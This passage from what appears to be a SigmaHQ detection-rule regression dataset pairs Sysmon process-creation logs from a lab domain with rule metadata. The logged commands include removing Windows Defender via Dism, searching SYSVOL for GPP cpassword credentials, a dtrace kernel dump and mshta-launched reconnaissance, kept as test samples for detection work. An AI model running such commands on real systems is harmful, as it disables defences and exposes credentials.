"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T13:44:33.440907Z\"\n }\n },\n \"EventRecordID\": 8999629,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 13:44:33.433\",\n \"ProcessGuid\": \"5AA13A44-D441-68FC-E330-000000004002\",\n \"ProcessId\": 7112,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\reg.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Registry Console Tool\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"reg.exe\",\n \"CommandLine\": \"reg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\" /v CurrentBuildNumber\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=E65FAA187D27D84106B78B909C06D405837EC64E,MD5=EB20E119AAF500E2752DC5A588B54C12,SHA256=C6A168C81654F5901E864C8FD61FA54F084CD8B2E0A8AC1B83EACF9EB4484F75,IMPHASH=E23A24F7BA9B35B3E9706724F6749860\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_discovery_via_reg_queries/info.yml",
"content": "id: 23b1ddfe-cb7d-4e2f-9ae3-d96eabe0f6e1\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 0022869c-49f7-4ff2-ba03-85ac42ddac58\n title: System Information Discovery via Registry Queries\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_discovery_via_reg_queries/0022869c-49f7-4ff2-ba03-85ac42ddac58.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_dism_remove/43e32da2-fdd0-4156-90de-50dfd62636f9.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T13:47:34.903176Z\"\n }\n },\n \"EventRecordID\": 9055342,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 13:47:34.894\",\n \"ProcessGuid\": \"5AA13A44-D4F6-68FC-F430-000000004002\",\n \"ProcessId\": 7808,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\Dism.exe\",\n \"FileVersion\": \"10.0.20348.2849 (WinBuild.160101.0800)\",\n \"Description\": \"Dism Image Servicing Utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"DISM.EXE\",\n \"CommandLine\": \"Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=0AABFEC24BA5FC8806492DCCE89094743219EDE4,MD5=0B1CB657FF6BF807D830A5B970ECC041,SHA256=1B1EC450CE9B4559C6A2AE8ED5D8715F5135BE20257DC84ED11EBB814F29A1F2,IMPHASH=7B40129B2F7F51468E0954D5A44D9CDD\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_dism_remove/info.yml",
"content": "id: b4459771-0fe5-4777-be95-ea6fce92d1fc\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 43e32da2-fdd0-4156-90de-50dfd62636f9\n title: Dism Remove Online Package\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_dism_remove/43e32da2-fdd0-4156-90de-50dfd62636f9.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_driverquery_recon/9fc3072c-dc8f-4bf7-b231-18950000fadd.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T23:53:43.425641Z\"\n }\n },\n \"EventRecordID\": 33534161,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-26 23:53:43.425\",\n \"ProcessGuid\": \"5AA13A44-B487-68FE-7F5F-000000004002\",\n \"ProcessId\": 2052,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\driverquery.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Queries the drivers on a system\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"drvqry.exe\",\n \"CommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\driverquery.exe\\\"\",\n \"CurrentDirectory\": \"C:\\\\Windows\\\\Temp\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=67241EC6E9855CEE71833940C4BB504BB1A50298,MD5=F4D90639E3DA5F6C514495F20AE0322A,SHA256=2202CE439C7DE1CECABA76534B5B7646E0BE585E72E129C86D6B8AFB67F7D212,IMPHASH=033B70299A7F2D13D2CCD201F2FD5461\",\n \"ParentProcessGuid\": \"5AA13A44-B487-68FE-7E5F-000000004002\",\n \"ParentProcessId\": 11360,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\mshta.exe\",\n \"ParentCommandLine\": \"mshta \\\"javascript:new ActiveXObject('WScript.Shell').Run('driverquery.exe');close();\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_driverquery_recon/info.yml",
"content": "id: 585f7fa9-392b-4609-b324-4701482de7ec\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 9fc3072c-dc8f-4bf7-b231-18950000fadd\n title: Potential Recon Activity Using DriverQuery.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_driverquery_recon/9fc3072c-dc8f-4bf7-b231-18950000fadd.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_driverquery_usage/a20def93-0709-4eae-9bd2-31206e21e6b2.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T23:47:36.476583Z\"\n }\n },\n \"EventRecordID\": 33403755,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-26 23:47:36.462\",\n \"ProcessGuid\": \"5AA13A44-B318-68FE-4B5F-000000004002\",\n \"ProcessId\": 8840,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\driverquery.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Queries the drivers on a system\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"drvqry.exe\",\n \"CommandLine\": \"driverquery\",\n \"CurrentDirectory\": \"C:\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=67241EC6E9855CEE71833940C4BB504BB1A50298,MD5=F4D90639E3DA5F6C514495F20AE0322A,SHA256=2202CE439C7DE1CECABA76534B5B7646E0BE585E72E129C86D6B8AFB67F7D212,IMPHASH=033B70299A7F2D13D2CCD201F2FD5461\",\n \"ParentProcessGuid\": \"5AA13A44-0C90-68FC-BF1D-000000004002\",\n \"ParentProcessId\": 10048,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_driverquery_usage/info.yml",
"content": "id: 13b0c2d7-2056-4ce4-85df-79f7e499dd49\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: a20def93-0709-4eae-9bd2-31206e21e6b2\n title: DriverQuery.EXE Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_driverquery_usage/a20def93-0709-4eae-9bd2-31206e21e6b2.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_dsquery_domain_trust_discovery/3bad990e-4848-4a78-9530-b427d854aac0.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T13:48:36.392892Z\"\n }\n },\n \"EventRecordID\": 9075053,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 13:48:36.383\",\n \"ProcessGuid\": \"5AA13A44-D534-68FC-FF30-000000004002\",\n \"ProcessId\": 168,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\dsquery.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Microsoft AD DS/LDS query command line utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"dsquery.exe\",\n \"CommandLine\": \"dsquery * -filter \\\"(objectClass=trustedDomain)\\\" -attr *\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=D6F0AD64BECE9028108C0C807E3C3A0EEAF4C31C,MD5=3A94027001259B03449AB5DC8B764E83,SHA256=A3720A70B407F069E21F2EF759236C2A7871A03D00B0AC7F0ACD201DA1086CB0,IMPHASH=0C732EE7E7F8F559606E6ADF3AA39CDC\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_dsquery_domain_trust_discovery/info.yml",
"content": "id: 91c77c64-7f4f-4bba-be6a-42377c97b48a\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 3bad990e-4848-4a78-9530-b427d854aac0\n title: Domain Trust Discovery Via Dsquery\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_dsquery_domain_trust_discovery/3bad990e-4848-4a78-9530-b427d854aac0.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_dtrace_kernel_dump/7124aebe-4cd7-4ccb-8df0-6d6b93c96795.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-27T00:04:12.105550Z\"\n }\n },\n \"EventRecordID\": 33630917,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3380,\n \"ThreadID\": 4420\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-27 00:04:12.104\",\n \"ProcessGuid\": \"5AA13A44-B6FC-68FE-0802-000000004102\",\n \"ProcessId\": 2524,\n \"Image\": \"C:\\\\Program Files\\\\DTrace\\\\dtrace.exe\",\n \"FileVersion\": \"10.0.22621.1 (WinBuild.160101.0800)\",\n \"Description\": \"DTrace/NT\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"dtrace.exe\",\n \"CommandLine\": \"dtrace.exe -w \\\"syscall:::return {lkd(0); exit(0);}\\\"\",\n \"CurrentDirectory\": \"C:\\\\Program Files\\\\DTrace\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-B54F-68FE-E547-0C0000000000\",\n \"LogonId\": \"0xc47e5\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=5ECD16526AB7288C9910692B3BC73041605CD0CF,MD5=AE913F95E1F94B071DED1FFBB60EDDBD,SHA256=75C00C03BB318FCDB329D29E705C7815E14E48C801D6322984C899FAEDDBBF55,IMPHASH=DC497C8CA3DFCDF940058114BA89B413\",\n \"ParentProcessGuid\": \"5AA13A44-B6AD-68FE-FC01-000000004102\",\n \"ParentProcessId\": 10508,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-27T00:04:13.045253Z\"\n }\n },\n \"EventRecordID\": 33630948,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3380,\n \"ThreadID\": 4420\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-27 00:04:13.044\",\n \"ProcessGuid\": \"5AA13A44-B6FD-68FE-0902-000000004102\",\n \"ProcessId\": 7748,\n \"Image\": \"C:\\\\Program Files\\\\DTrace\\\\dtrace.exe\",\n \"FileVersion\": \"10.0.22621.1 (WinBuild.160101.0800)\",\n \"Description\": \"DTrace/NT\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"dtrace.exe\",\n \"CommandLine\": \"dtrace.exe -w -n \\\"syscall:::return {lkd(0); exit(0);}\\\"\",\n \"CurrentDirectory\": \"C:\\\\Program Files\\\\DTrace\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-B54F-68FE-E547-0C0000000000\",\n \"LogonId\": \"0xc47e5\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=5ECD16526AB7288C9910692B3BC73041605CD0CF,MD5=AE913F95E1F94B071DED1FFBB60EDDBD,SHA256=75C00C03BB318FCDB329D29E705C7815E14E48C801D6322984C899FAEDDBBF55,IMPHASH=DC497C8CA3DFCDF940058114BA89B413\",\n \"ParentProcessGuid\": \"5AA13A44-B6AD-68FE-FC01-000000004102\",\n \"ParentProcessId\": 10508,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_dtrace_kernel_dump/info.yml",
"content": "id: c81d2cc0-3296-47fd-b57d-334b3a17ab02\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 7124aebe-4cd7-4ccb-8df0-6d6b93c96795\n title: Suspicious Kernel Dump Using Dtrace\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_dtrace_kernel_dump/7124aebe-4cd7-4ccb-8df0-6d6b93c96795.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_explorer_folder_shortcut_via_shell_binary/c3d76afc-93df-461e-8e67-9b2bad3f2ac4.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-27T00:08:16.515256Z\"\n }\n },\n \"EventRecordID\": 33635575,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3380,\n \"ThreadID\": 4420\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-27 00:08:16.514\",\n \"ProcessGuid\": \"5AA13A44-B7F0-68FE-2902-000000004102\",\n \"ProcessId\": 9040,\n \"Image\": \"C:\\\\Windows\\\\explorer.exe\",\n \"FileVersion\": \"10.0.20348.3692 (WinBuild.160101.0800)\",\n \"Description\": \"Windows Explorer\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"EXPLORER.EXE\",\n \"CommandLine\": \"explorer shell:MyComputerFolder\",\n \"CurrentDirectory\": \"C:\\\\Program Files\\\\DTrace\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-B54F-68FE-E547-0C0000000000\",\n \"LogonId\": \"0xc47e5\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=8BAA602FDC6BA67545C0717E2B9063A0BFE3F278,MD5=1FB8907465FB58429762D97C1FBEA04A,SHA256=53F36699C35C8F2360608A79F0809BA888C61F15886AE2B1F209A3E9B896CBA7,IMPHASH=BECD30EE79098B21A5BA5E5CF0E18B83\",\n \"ParentProcessGuid\": \"5AA13A44-B6AD-68FE-FC01-000000004102\",\n \"ParentProcessId\": 10508,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_explorer_folder_shortcut_via_shell_binary/info.yml",
"content": "id: ddbc40a4-117f-4359-9a22-f943dd25535f\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: c3d76afc-93df-461e-8e67-9b2bad3f2ac4\n title: File Explorer Folder Opened Using Explorer Folder Shortcut Via Shell\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_explorer_folder_shortcut_via_shell_binary/c3d76afc-93df-461e-8e67-9b2bad3f2ac4.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_findstr_gpp_passwords/91a2c315-9ee6-4052-a853-6f6a8238f90d.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T13:50:13.199218Z\"\n }\n },\n \"EventRecordID\": 9105822,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-25 13:50:13.191\",\n \"ProcessGuid\": \"5AA13A44-D595-68FC-0A31-000000004002\",\n \"ProcessId\": 7772,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\findstr.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Find String (QGREP) Utility\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"FINDSTR.EXE\",\n \"CommandLine\": \"findstr /S cpassword \\\\\\\\AR-WIN-DC\\\\sysvol\\\\*.xml\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-568F-68FB-E39A-520000000000\",\n \"LogonId\": \"0x529ae3\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=7E484985CC835B3892F7445D2692227BA2D2E6F5,MD5=D0A20941751521C0D19BD3EABF34C446,SHA256=940CBEC6750076F2A191CBC8DA96AAE1905F7D9709B48C839BBD52884EFF1A45,IMPHASH=A27641A39DA5A6B0717E06BA00E56B7F\",\n \"ParentProcessGuid\": \"5AA13A44-0FEC-68FC-281E-000000004002\",\n \"ParentProcessId\": 6304,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_findstr_gpp_passwords/info.yml",
